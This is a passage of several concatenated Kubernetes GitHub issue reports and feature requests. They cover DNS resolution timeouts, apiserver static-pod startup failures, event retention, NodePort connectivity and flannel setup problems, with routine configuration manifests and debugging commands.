uid.\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r virtual machines \r - os  e.g. from /etc/os-release :\r centos linux 7  core \r - kernel  e.g.  uname -a  :\r 4.15.13-1.el7.elrepo.x86_64\r - install tools:\r download binaries manual\r - others:\r

we have a health check that warns us if a node has full disk space.  i think we should consider including some form of warning if the nodes have a version of the kubelet that is different from the master.  this is expected to happen during an upgrade, but i don't think users will mind being warned.  background: use alessio on slack reported problems with configmap.  turned out he was running kubelet 1.1, because it was the kubelet that shipped with coreos.  this information is visible in  kubectl describe nodes , but we should probably consider surfacing it more obviously to help users.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :    kube-dns, resolv.conf, timeout, skydns    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : 1.3.6 / kube-dns v17.1    environment  : -   cloud provider or hardware configuration  :   aws -   os    e.g. from /etc/os-release :   centos7 -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  : host resolv.conf, as used in kube-dns container:      search eu-west-1.compute.internal nameserver 10.10.224.4 nameserver 10.10.228.4 nameserver 10.10.232.4 options rotate attempts:1 timeout:1 options ndots:5      if i disable  10.10.224.4 , every few queries it takes 5s to resolve  resulting in timeouts on other pods . here's what it looks like when running from the kube-dns pod:        time nslookup gatech.edu.eu-west-1.compute.internal nslookup: can't resolve 'gatech.edu.eu-west-1.compute.internal' command exited with non-zero status 1 real    0m 0.00s user    0m 0.00s sys     0m 0.00s /   time nslookup gatech.edu.eu-west-1.compute.internal server:    10.50.224.4 address 1: 10.50.224.4  nslookup: can't resolve 'gatech.edu.eu-west-1.compute.internal' command exited with non-zero status 1 real    0m 5.01s user    0m 0.00s sys     0m 0.00s /   time nslookup gatech.edu.eu-west-1.compute.internal server:    10.50.224.4 address 1: 10.50.224.4  nslookup: can't resolve 'gatech.edu.eu-west-1.compute.internal' command exited with non-zero status 1 real    0m 5.00s user    0m 0.00s sys     0m 0.00s /   time nslookup gatech.edu.eu-west-1.compute.internal server:    10.50.224.4 address 1: 10.50.224.4  nslookup: can't resolve 'gatech.edu.eu-west-1.compute.internal' command exited with non-zero status 1 real    0m 0.00s user    0m 0.00s sys     0m 0.00s /   time nslookup gatech.edu.eu-west-1.compute.internal server:    10.50.224.4  address 1: 10.50.224.4  nslookup: can't resolve 'gatech.edu.eu-west-1.compute.internal' command exited with non-zero status 1 real    0m 5.01s user    0m 0.00s sys     0m 0.00s /    /   time nslookup gatech.edu.eu-west-1.compute.internal server:    10.50.224.4 address 1: 10.50.224.4  nslookup: can't resolve 'gatech.edu.eu-west-1.compute.internal' command exited with non-zero status 1 real    0m 0.00s user    0m 0.00s sys     0m 0.00s /   time nslookup gatech.edu.eu-west-1.compute.internal server:    10.50.224.4 address 1: 10.50.224.4      and from another pod:      /  time getent ahosts gatech.edu 130.207.160.173 stream gatech.edu 130.207.160.173 dgram   130.207.160.173 raw      real    0m0.009s user    0m0.000s sys     0m0.002s mypod:/  time getent ahosts gatech.edu 130.207.160.173 stream gatech.edu 130.207.160.173 dgram   130.207.160.173 raw      real    0m2.007s user    0m0.000s sys     0m0.002s mypod:/  time getent ahosts gatech.edu 130.207.160.173 stream gatech.edu 130.207.160.173 dgram   130.207.160.173 raw      real    0m0.006s user    0m0.000s sys     0m0.002s mypod:/  time getent ahosts gatech.edu 130.207.160.173 stream gatech.edu 130.207.160.173 dgram   130.207.160.173 raw      real    0m0.005s user    0m0.000s sys     0m0.001s mypod:/  time getent ahosts gatech.edu 130.207.160.173 stream gatech.edu 130.207.160.173 dgram   130.207.160.173 raw      real    0m2.008s user    0m0.000s sys     0m0.002s      i can sort of work around this by removing the  eu-west-1.compute.internal  search domain, which prevents the search nxdomain that causes random hangs.    what you expected to happen  :  i expect it to resolve the nxdomain quickly even if one of the nameservers is down. or at worst, take up to  timeout:1 . the timeout:1 option seems to be ignored, and it takes 5 seconds to timeout whenever it hits the down server.  also the rotate option seems ignored, so all the load from kube-dns happens on the primary dns server.     need to verify this, just noticed from quick observation that the primary server gets almost all the queries   ideally, in my opinion, kube-dns would use something like musl and resolve against all the nameservers in parallel, making it robust to failure.    how to reproduce it    as minimally and precisely as possible : 1. have multiple nameservers in host's resolv.conf  2. turn off the first nameserver 3. try to resolve domains that would normally return nxdomain    anything else do we need to know  :

currently, kubelet calls  listimages  to get image list directly from the runtime  see  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_node_status.go l562  and  here  https://github.com/kubernetes/kubernetes/blob/1dfd64f4378ad9dd974bbfbef8e90127dce6aafe/pkg/kubelet/images/image_gc_manager.go l150  .\r \r we recently hit an issue https://github.com/docker/docker/issues/21215. bulk image deletion/creation will cause  listimages  to hang.\r when that happens, kubelet has to wait until  listimages  times out  2 min . if node status is updated by other components during that time  npd, route controller, node controller etc. , kubelet will not be able to update status because of conflict.\r \r usually, when that happens, container should be able to work normally. however, pods will be evicted by node controller unnecessarily because kubelet can't update node status for a long time, and node controller thinks the node is  notready .\r \r kubelet should not rely on the runtime to generate node status.\r \r @yujuhong \r /cc @kubernetes/sig-node

currently we delete all the events after 1h. this has been introduced as a way to keep the load on apiserver small. however, it also has a serious downside for the user, as they can't debug what has happened unless they persist events somewhere.\r \r i'd like to propose a slightly change approach, where instead of delete all events after 1h, we use the same policy as for terminated pods - delete them only if we have more events than x which depends on the cluster size. i imagine we should do it by reusing podgc controller logic and stop setting ttl on etcd.\r \r @lavalamp @wojtek-t @smarterclayton @piosz \r \r @kubernetes/sig-instrumentation-misc  events are kind of instrumentation of the system \r @kubernetes/sig-api-machinery-misc  it's related to apiserver & co \r @kubernetes/sig-scalability-misc  proposed change might have scalability implications

it is much easier to consume openapi spec in binary format.  design doc  https://docs.google.com/document/d/1ecnvlrqp9-5mqq-kghfnb3gtb8eirkvqjn1b16nrrr0/edit

dear all:\r i use kubefed init a federation cluster and deploy a nginx service with nginx backend.\r when i check dns , i found  nslookup nginx.default.federation  return ok, but  nslookup nginx.default.federation.svc.baremetal-1.baremetal.example.com  can't resolved. can someone help me?\r details below:\r    \r federation in none-cloud env\r two region: openstack, baremetal\r two zone: openstack-1, baremetal-1\r coredns address: 192.168.250.33:30242 \r    \r \r    \r nslookup nginx.default.federaion\r \r server:    10.96.0.10\r address 1: 10.96.0.10 kube-dns.kube-system.svc.cluster.local\r \r name:      nginx.default.federation\r address 1: 10.100.147.78 nginx.default.svc.cluster.local\r    \r \r    \r nslookup nginx.default.federation.svc.baremetal-1.baremetal.example.com\r \r server:    10.96.0.10\r address 1: 10.96.0.10 kube-dns.kube-system.svc.cluster.local\r \r nslookup: can't resolve 'nginx.default.federation.svc.baremetal-1.baremetal.example.com'\r    \r    \r kubectl get deployment kube-dns -n kube-system -o yaml\r \r   please edit the object below. lines beginning with a ' ' will be ignored,\r   and an empty file will abort the edit. if an error occurs while saving this file will be\r   reopened with the relevant failures.\r  \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   annotations:\r     deployment.kubernetes.io/revision: \ 3\ \r     kubectl.kubernetes.io/last-applied-configuration: |\r   creationtimestamp: 2017-06-07t01:57:16z\r   generation: 3\r   labels:\r     k8s-app: kube-dns\r   name: kube-dns\r   namespace: kube-system\r   resourceversion: \ 30731\ \r   selflink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/kube-dns\r   uid: a1ab9270-4b24-11e7-ba2b-fa163ed547c0\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       k8s-app: kube-dns\r   strategy:\r     rollingupdate:\r       maxsurge: 10%\r       maxunavailable: 0\r     type: rollingupdate\r   template:\r     metadata:\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: \ \ \r       creationtimestamp: null\r       labels:\r         k8s-app: kube-dns\r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: beta.kubernetes.io/arch\r                 operator: in\r                 values:\r                 - amd64\r       containers:\r       - args:\r         - --domain=cluster.local.\r         - --dns-port=10053\r         - --config-dir=/kube-dns-config\r         - --v=2\r         env:\r         - name: prometheus_port\r           value: \ 10055\ \r         image: gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.1\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /healthcheck/kubedns\r             port: 10054\r             scheme: http\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         name: kubedns\r         ports:\r         - containerport: 10053\r           name: dns-local\r           protocol: udp\r         - containerport: 10053\r           name: dns-tcp-local\r           protocol: tcp\r         - containerport: 10055\r           name: metrics\r           protocol: tcp\r         readinessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /readiness\r             port: 8081\r             scheme: http\r           initialdelayseconds: 3\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         resources:\r           limits:\r             memory: 170mi\r           requests:\r             cpu: 100m\r             memory: 70mi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /kube-dns-config\r           name: kube-dns-config\r       - args:\r         - -v=2\r         - -logtostderr\r         - -configdir=/etc/k8s/dns/dnsmasq-nanny\r         - -restartdnsmasq=true\r         - --\r         - -k\r         - --cache-size=1000\r         - --log-facility=-\r         - --server=/example.com./192.168.250.33 30242 \r         - --server=/cluster.local/127.0.0.1 10053\r         - --server=/in-addr.arpa/127.0.0.1 10053\r         - --server=/ip6.arpa/127.0.0.1 10053\r         image: gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.1\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /healthcheck/dnsmasq\r             port: 10054\r             scheme: http\r    \r \r thanks all.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r when create rescheduler resources with https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/rescheduler/rescheduler.manifest, find the pod started failed due to the rescheduler.log was a directory.\r \r   what you expected to happen  :\r the pod should be started and should use -logtostderr to output the log to a file.\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl create -f https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/rescheduler/rescheduler.manifest\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  bug\r \r   what happened  :\r the api server can't start as static pod.\r   what you expected to happen  :\r after modify api server configuration  service-node-port-range=30000-60000  in json file, api server can't start normally.\r   how to reproduce it  as minimally and precisely as possible   :\r \r 1.  modify the api server  configures data in  api server json file  and start api server as static pod.\r \r    \r --service-node-port-range=30000-60000\r    \r the api server json file as below:\r \r    \r  root@test ~   cat master.json\r {\r   \ apiversion\ : \ v1\ ,\r   \ kind\ : \ pod\ ,\r   \ metadata\ : {\r     \ name\ : \ k8s-master\ ,\r     \ namespace\ : \ kube-system\ ,\r     \ annotations\ : {\r       \ scheduler.alpha.kubernetes.io/critical-pod\ : \ \ \r     }\r   },\r   \ spec\ :{\r     \ hostnetwork\ : true,\r     \ containers\ : \r       {\r         \ name\ : \ controller-manager\ ,\r         \ image\ : \ private.reg2:5000/kubernetes:v1.7.3-ee\ ,\r         \ imagepullpolicy\ : \ ifnotpresent\ ,\r         \ command\ :  \r           \ /hyperkube\ ,\r           \ controller-manager\ ,\r           \ --master=https://9.21.53.15:8001\ ,\r           \ --service-account-private-key-file=/etc/cfc/conf/server.key\ ,\r           \ --root-ca-file=/etc/cfc/conf/ca.crt\ ,\r           \ --min-resync-period=3m\ ,\r           \ --cluster-cidr=10.1.0.0/16\ ,\r           \ --use-service-account-credentials=true\ ,\r           \ --kubeconfig=/etc/cfc/conf/kube-controller-manager-config.yaml\ ,\r           \ --v=2\ ,\r           \ --leader-elect=true\ \r          ,\r         \ volumemounts\ :  \r           {\r             \ name\ : \ data\ ,\r             \ mountpath\ : \ /etc/cfc/conf\ \r           },\r           {\r             \ name\ : \ audit\ ,\r             \ mountpath\ : \ /var/lib/icp/audit\ \r           }\r          \r       },\r       {\r         \ name\ : \ apiserver\ ,\r         \ image\ : \ private.reg2:5000/kubernetes:v1.7.3-ee\ ,\r         \ imagepullpolicy\ : \ ifnotpresent\ ,\r         \ command\ :  \r           \ /hyperkube\ ,\r           \ apiserver\ ,\r           \ --secure-port=8001\ ,\r           \ --bind-address=0.0.0.0\ ,\r           \ --advertise-address=9.21.53.15\ ,\r           \ --insecure-port=8888\ ,\r           \ --insecure-bind-address=127.0.0.1\ ,\r           \ --etcd-servers=https://9.21.53.15:4001\ ,\r           \ --etcd-cafile=/etc/cfc/conf/etcd/ca.pem\ ,\r \t  \ --service-node-port-range=30000-60000\ ,\r           \ --etcd-certfile=/etc/cfc/conf/etcd/client.pem\ ,\r           \ --etcd-keyfile=/etc/cfc/conf/etcd/client-key.pem\ ,\r           \ --runtime-config=batch/v2alpha1,extensions/v1beta1=true,extensions/v1beta1/podsecuritypolicy=true,admissionregistration.k8s.io/v1alpha1\ ,\r           \ --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,podsecuritypolicy,defaulttolerationseconds,resourcequota\ ,\r           \ --oidc-issuer-url=https://mycluster:8443/acs/api/v1/auth\ ,\r           \ --oidc-client-id=cfc-service\ ,\r           \ --oidc-ca-file=/etc/cfc/conf/oidc.crt\ ,\r           \ --oidc-groups-claim=projects\ ,\r           \ --tls-cert-file=/etc/cfc/conf/server.cert\ ,\r           \ --tls-private-key-file=/etc/cfc/conf/server.key\ ,\r           \ --kubelet-client-certificate=/etc/cfc/conf/kubelet-client.crt\ ,\r           \ --kubelet-client-key=/etc/cfc/conf/kubelet-client.key\ ,\r           \ --client-ca-file=/etc/cfc/conf/ca.crt\ ,\r           \ --service-account-key-file=/etc/cfc/conf/server.key\ ,\r           \ --authorization-mode=rbac\ ,\r           \ --min-request-timeout=300\ ,\r           \ --allow-privileged\ ,\r           \ --v=2\ ,\r           \ --service-cluster-ip-range=10.0.0.1/24\ \r          ,\r         \ volumemounts\ :  \r           {\r             \ name\ : \ data\ ,\r             \ mountpath\ : \ /etc/cfc/conf\ \r           }\r          \r       },\r       {\r         \ name\ : \ scheduler\ ,\r         \ image\ : \ private.reg2:5000/kubernetes:v1.7.3-ee\ ,\r         \ imagepullpolicy\ : \ ifnotpresent\ ,\r         \ command\ :  \r           \ /hyperkube\ ,\r           \ scheduler\ ,\r           \ --master=https://9.21.53.15:8001\ ,\r           \ --kubeconfig=/etc/cfc/conf/kube-scheduler-config.yaml\ ,\r           \ --v=2\ ,\r           \ --leader-elect=true\ \r          ,\r         \ volumemounts\ :  \r           {\r             \ name\ : \ data\ ,\r             \ mountpath\ : \ /etc/cfc/conf\ \r           }\r          \r       }\r      ,\r     \ volumes\ :  \r       {\r         \ name\ : \ data\ ,\r         \ hostpath\ : {\r           \ path\ : \ /etc/cfc/conf\ \r         }\r       },\r       {\r         \ name\ : \ audit\ ,\r         \ hostpath\ : {\r           \ path\ : \ /var/lib/icp/audit\ \r         }\r       }\r      \r   }\r }\r    \r \r \r 2.   after save the changes for  master.json, the api server container can't start, and append the sysctl configuration.\r \r    \r  root@test pods   sysctl -a |grep port\r net.ipv4.ip_local_port_range = 1024\t65535\r    \r \r 3.  but start api server as daemon instead of container with the configuration, the api server can start normally.\r \r    \r root      560950       1  5 21:59 ?        00:04:14 /opt/kubernetes/hyperkube kubelet --feature-gates accelerators=true --allow-privileged=true --docker-disable-shared-pid --require-kubeconfig --kubeconfig=/var/lib/kubelet/kubelet-config --read-only-port=0 --client-ca-file=/var/lib/kubelet/ca.crt --authentication-token-webhook --anonymous-auth=false --network-plugin=cni --pod-manifest-path=/etc/cfc/pods --hostname-override=9.21.53.15 --cluster-dns=10.0.0.10 --cluster-domain=cluster.local --pod-infra-container-image=private.reg2:5000/pause:3.0\r root      789004  472249 99 23:12 pts/4    00:00:37 /opt/kubernetes/hyperkube apiserver --secure-port=8001 --bind-address=0.0.0.0 --advertise-address=9.21.53.185 --insecure-port=8888 --insecure-bind-address=127.0.0.1 --etcd-servers=https://9.21.53.15:4001,https://9.21.53.17:4001,https://9.21.53.18:4001 --etcd-cafile=/etc/cfc/conf/etcd/ca.pem --etcd-certfile=/etc/cfc/conf/etcd/client.pem --etcd-keyfile=/etc/cfc/conf/etcd/client-key.pem --runtime-config=batch/v2alpha1,extensions/v1beta1=true,extensions/v1beta1/podsecuritypolicy=true,admissionregistration.k8s.io/v1alpha1 --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,podsecuritypolicy,defaulttolerationseconds,resourcequota --oidc-issuer-url=https://mycluster:8443/acs/api/v1/auth --oidc-client-id=cfc-service --oidc-ca-file=/etc/cfc/conf/oidc.crt --oidc-groups-claim=projects --tls-cert-file=/etc/cfc/conf/server.cert --tls-private-key-file=/etc/cfc/conf/server.key --kubelet-client-certificate=/etc/cfc/conf/kubelet-client.crt --kubelet-client-key=/etc/cfc/conf/kubelet-client.key --client-ca-file=/etc/cfc/conf/ca.crt --service-account-key-file=/etc/cfc/conf/server.key --authorization-mode=rbac --min-request-timeout=300 --allow-privileged --v=2 --service-cluster-ip-range=10.0.0.1/24 --service-node-port-range=30000-60000\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r    \r kubernetes: 1.7.3\r os: rhel7u3\r kernel:\r root@test ~   uname -a\r linux test 3.10.0-514.2.2.el7.x86_64  1 smp wed nov 16 13:15:13 est 2016 x86_64 x86_64 x86_64 gnu/linux\r

cc @kubernetes/sig-scheduling-test-failures \r cc @kubernetes/kubernetes-release-managers \r \r seeing a failure on our downgrade test. can someone please look at this?\r \r https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-1.8-1.7-downgrade-cluster\r \r example failure https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-stable1-gci-stable2-downgrade-cluster/20 k8sio-schedulerpredicates-serial-validates-resource-limits-of-pods-that-are-allowed-to-run-conformance\r \r seeing timeouts on the downgrade test\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:222\r expected error:\r     < errors.errorstring | 0xc4220f8090>: {\r         s: \ error waiting for 8 pods to be running - probably a timeout: timeout while waiting for pods with labels \\\ startpodsid=52f7cbb2-a2cb-11e7-b977-0a580a3c16f7\\\  to be running\ ,\r     }\r     error waiting for 8 pods to be running - probably a timeout: timeout while waiting for pods with labels \ startpodsid=52f7cbb2-a2cb-11e7-b977-0a580a3c16f7\  to be running\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:208\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r \r i have changed kube-apiserver.yaml to configure  token auth and abac\r  - --token-auth-file=/etc/kubernetes/pki/auth.csv\r     - --authorization-policy-file=/etc/kubernetes/pki/authp.json\r \r i put the files in pki which is mount normally. now the kube-apiserver cannot run. the log is \r ...\r {\ log\ :\ i0125 11:16:03.334976       1 logs.go:41  http: tls handshake error from 158.39.163.7:45774: remote error: tls: bad certificate\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-01-25t11:16:03.335200075z\ }\r {\ log\ :\ i0125 11:16:03.732438       1 controller.go:90  shutting down openapi aggregationcontroller\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-01-25t11:16:03.732661834z\ }\r {\ log\ :\ i0125 11:16:03.732455       1 crd_finalizer.go:254  shutting down crdfinalizer\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-01-25t11:16:03.732726088z\ }\r {\ log\ :\ i0125 11:16:03.732442       1 autoregister_controller.go:160  shutting down autoregister controller\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-01-25t11:16:03.73274292z\ }\r {\ log\ :\ i0125 11:16:03.732479       1 customresource_discovery_controller.go:163  shutting down discoverycontroller\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-01-25t11:16:03.732755142z\ }\r {\ log\ :\ i0125 11:16:03.732493       1 crdregistration_controller.go:139  shutting down crd-autoregister controller\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-01-25t11:16:03.732768202z\ }\r {\ log\ :\ i0125 11:16:03.732446       1 naming_controller.go:285  shutting down namingconditioncontroller\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-01-25t11:16:03.732779587z\ }\r {\ log\ :\ i0125 11:16:03.732507       1 available_controller.go:274  shutting down availableconditioncontroller\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-01-25t11:16:03.732810037z\ }\r {\ log\ :\ i0125 11:16:03.732525       1 apiservice_controller.go:124  shutting down apiserviceregistrationcontroller\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-01-25t11:16:03.732821561z\ }\r {\ log\ :\ i0125 11:16:03.732571       1 serve.go:129  stopped listening on  :: :6443\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-01-25t11:16:03.73283106z\ }\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }- cloud provider or hardware configuration:\r bare-metal\r - os  e.g. from /etc/os-release :\r ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

last seen failure https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kinflate-periodic-default-gke/736\r \r  

>  \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r ----\r \r running curl on the port relating to the nodeport on the master:\r  curl \ localhost:30634\   times out\r \r while on the node the pod runs on:\r  curl \ localhost:30634\   works correctly\r \r ----\r \r kubectl get service\r name               type           cluster-ip      external-ip   port s         age\r hello-kubernetes   loadbalancer   10.108.104.37   <pending>     80:30634/tcp   22h\r kubernetes         clusterip      10.96.0.1       <none>        443/tcp        1d\r \r pinging 10.108.104.37 from the node or master does not respond with anything.\r \r ----\r \r i can only successfully ping the pod from the node it runs on.\r \r ---\r \r related:\r \r https://github.com/kubernetes/kubernetes/issues/22688\r https://github.com/coreos/flannel/issues/699\r \r i've tried  iptables --policy forward accept  on both the master and node with no change in behavior.\r \r i also don't have external internet access on the pods: https://github.com/coreos/flannel/issues/1014\r \r i'm running this on two vms with two network interfaces  nat + bridge .

there are multiple files which still have references to  glog  mostly via comments. these should be replaced with  klog  \r \r    \r cluster/addons/fluentd-elasticsearch/fluentd-es-configmap.yaml\r cluster/addons/fluentd-gcp/fluentd-gcp-configmap-old.yaml\r cluster/addons/fluentd-gcp/fluentd-gcp-configmap.yaml\r cmd/kubelet/app/options/globalflags.go\r hack/make-rules/test-integration.sh\r pkg/kubectl/cmd/cmd.go\r pkg/kubectl/util/logs/logs.go\r pkg/kubelet/images/image_manager.go\r pkg/proxy/iptables/proxier_test.go\r pkg/util/node/node.go\r staging/src/k8s.io/apiserver/pkg/util/globalflag/globalflags.go\r staging/src/k8s.io/apiserver/pkg/util/logs/logs.go\r staging/src/k8s.io/client-go/install.md\r staging/src/k8s.io/client-go/rest/request.go\r test/e2e/instrumentation/logging/stackdriver/basic.go\r test/e2e_node/services/services.go\r test/integration/ipamperf/readme.m\r

what would you like to be added  :\r change excludecidrs from   string to    ipnet in proxier and perform the parsing at construction of proxier.\r \r   why is this needed  :\r this was proposed by @lbernail over comments in pr  76334\r \r this improves the performance of isipinexcludecidrs since the cost of parsing becomes one time.

as of now connections to services are either handled in a round robin fashion  the default  or can make use of client ip based affinity, where the endpoint for the initial connection to the service by a client is selected in a round robin fashion and subsequent connections will attempt to use the previously selected endpoint.  in some environments there is a need for a topographical or administrative prioritization of the service endpoint selection.  for instance, a cluster may be comprised of multiple zones with service endpoints spread across zones.  latencies across zones may be low, yet still higher than intra-zone latencies.  there may also be financial costs associated to inter-zone traffic.  thus, it is could be desirable for a number of reasons to prioritize endpoints for a service within the same zone as that of pods making connections to the service.  note that this proposal is distinct from that of  14484.  14484 proposes  when scheduling pods  colocation .  i am proposing  of network connections to services.  this could be implemented allowing the admin to specify a tag selector within the session affinity spec.  kube-proxy could then look up the tag on the pod that initiated a connection and on any pods that are endpoints for the service.  it would prioritize endpoint pods that a tag with a value that matches the value of the tag on the client pod.  partial matches be prioritized by the number of tags that match.  if multiple endpoints match at the same priority, then the selection of one of them can be performed in a round robin fashion, or clientip affinity could be applied optionally.

following the  head  https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/docker-multinode/master.md documentation  i set these variables:      export master_ip=127.0.0.1 export k8s_version=1.2.0-alpha.8 export etcd_version=2.2.1 export flannel_version=0.5.5 export flannel_iface=eno2 --> as ifconfig returns this as the interface but tried also with eth0      executing:      sudo docker -h unix:///var/run/docker-bootstrap.sock run -d \\     --net=host \\     --privileged \\     -v /dev/net:/dev/net \\     quay.io/coreos/flannel:${flannel_version} \\         --ip-masq=${flannel_ipmasq} \\         --iface=${flannel_iface}      results in       834666fdad11e41ca7ca6866f9eaad23003e555886e8d60c03254e1861f4ae68 docker: error response from daemon: container command not found or does not exist..      using it without the last options      --ip-masq=${flannel_ipmasq} \\         --iface=${flannel_iface}      like this results in no error message being displayed. is this a problem? e.g. would i need these options?  running the  mster.sh       sudo ./master.sh k8s_version is set to: 1.2.0-alpha.7 etcd_version is set to: 2.2.1 flannel_version is set to: 0.5.5 flannel_iface is set to: eth0 flannel_ipmasq is set to: true master_ip is set to: 10.100.4.31 arch is set to: amd64 detecting your os distro ... starting bootstrap docker ... starting k8s ... 0a2cb64cc93d2a2baeeb91f6d53c6b53cb284870035241443320b5eb79f3fd55 { \ network\ : \ 10.1.0.0/16\ , \ backend\ : {\ type\ : \ vxlan\ }} error response from daemon: lstat /var/lib/docker-bootstrap/aufs/mnt/2624579c6358c123bbf34f9e74c25d787c3e0721aaf13b71aea222c7174a6f76/tmp/flannel/subnet.env: no such file or directory      does not work. could this be connected somehow?

